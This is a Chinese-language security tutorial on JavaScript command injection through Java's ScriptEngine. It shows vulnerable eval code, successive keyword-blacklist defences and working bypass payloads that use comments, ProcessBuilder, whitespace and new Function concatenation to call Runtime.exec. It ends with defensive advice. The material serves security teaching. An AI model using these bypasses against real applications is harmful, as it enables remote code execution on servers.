java中js命令执行的攻与防
字数 597 2025-08-19 12:42:18
Java中JS命令执行的攻与防
漏洞背景
在Java应用程序中,当使用javax.script.ScriptEngine执行JavaScript代码时,如果未做适当的安全限制,攻击者可能通过JavaScript调用Java API实现命令执行。本文详细分析了一个实际案例中的攻防过程。
漏洞发现
初始代码实现
// 正则表达式检查
String JAVASCRIPT_MAIN="[\\s\\S]*"+"function"+"\\s+"+"mainOutput"+"[\\s\\S]*";
// 传入的字符串
String test="print('hello word!!');function mainOutput() {}";
// 代码执行点
if (Pattern.matches(JAVASCRIPT_MAIN,test)){
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(test);
}
攻击向量
攻击者可以通过构造特殊字符串绕过正则检查并执行任意Java代码:
String test="var a = mainOutput(); function mainOutput() {
var x=java.lang.Runtime.getRuntime().exec("calc")};";
防御措施演进
第一版黑名单防御
开发人员实现了基于关键字的黑名单过滤:
class KeywordCheckUtils {
private static final Set<String> blacklist = Sets.newHashSet(
"java.io.File", "java.lang.Runtime", "java.lang.System",
"java.lang.ProcessBuilder", "eval", "new function");
public static void checkInsecureKeyword(String code) throws Exception {
Set<String> insecure = blacklist.stream()
.filter(s -> StringUtils.containsIgnoreCase(code, s))
.collect(Collectors.toSet());
if (!CollectionUtils.isEmpty(insecure)) {
throw new Exception("输入字符串不是安全的");
} else {
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(code);
}
}
}
绕过方法1:使用注释
String test="var a = mainOutput(); function mainOutput() {
var x=java.lang./****/Runtime.getRuntime().exec(\"calc\");};";
绕过方法2:使用ProcessBuilder
String test="var a = mainOutput(); function mainOutput() {
var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();return true;};";
第二版防御:过滤注释和空格
public static void checkInsecureKeyword(String code) {
// 去除注释
String removeComment = StringUtils.replacePattern(code,
"(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", "");
// 多个空格替换为一个
String finalCode = StringUtils.replacePattern(removeComment, "\\s+", " ");
Set<String> insecure = blacklist.stream()
.filter(s -> StringUtils.containsIgnoreCase(finalCode, s))
.collect(Collectors.toSet());
if (!CollectionUtils.isEmpty(insecure)) {
throw new Exception("输入字符串不是安全的");
}
}
绕过方法3:使用多余空格
String test="var a = mainOutput(); function mainOutput() {
var x=java.lang. Runtime.getRuntime().exec(\"calc\");};";
最终防御方案
// 去除注释
String removeComment = StringUtils.replacePattern(code,
"(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", "");
// 去除所有空格
String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", "");
// 多个空格替换为一个
String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " ");
Set<String> insecure = blacklist.stream()
.filter(s -> StringUtils.containsIgnoreCase(removeWhitespace, s) ||
StringUtils.containsIgnoreCase(oneWhiteSpace, s))
.collect(Collectors.toSet());
高级绕过技术
即使经过上述防御,仍存在潜在绕过方法:
var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')();
x.command("calc");
x.start();
var a = mainOutput();
function mainOutput() {};
安全建议
- 避免使用ScriptEngine执行不可信代码:这是最根本的解决方案
- 使用白名单而非黑名单:黑名单总是存在被绕过的风险
- 实现真正的沙箱环境:如使用Java Security Manager或专业JS沙箱
- 考虑性能与安全的平衡:完全安全的方案可能影响性能,需要权衡
总结
Java中执行JavaScript代码存在严重安全风险,黑名单防御方式容易被绕过。开发者应:
- 理解攻击者的思维方式
- 采用多层次防御
- 优先考虑白名单而非黑名单
- 在安全性和灵活性之间找到平衡点
安全是一个持续的过程,需要不断更新防御措施以应对新的攻击技术。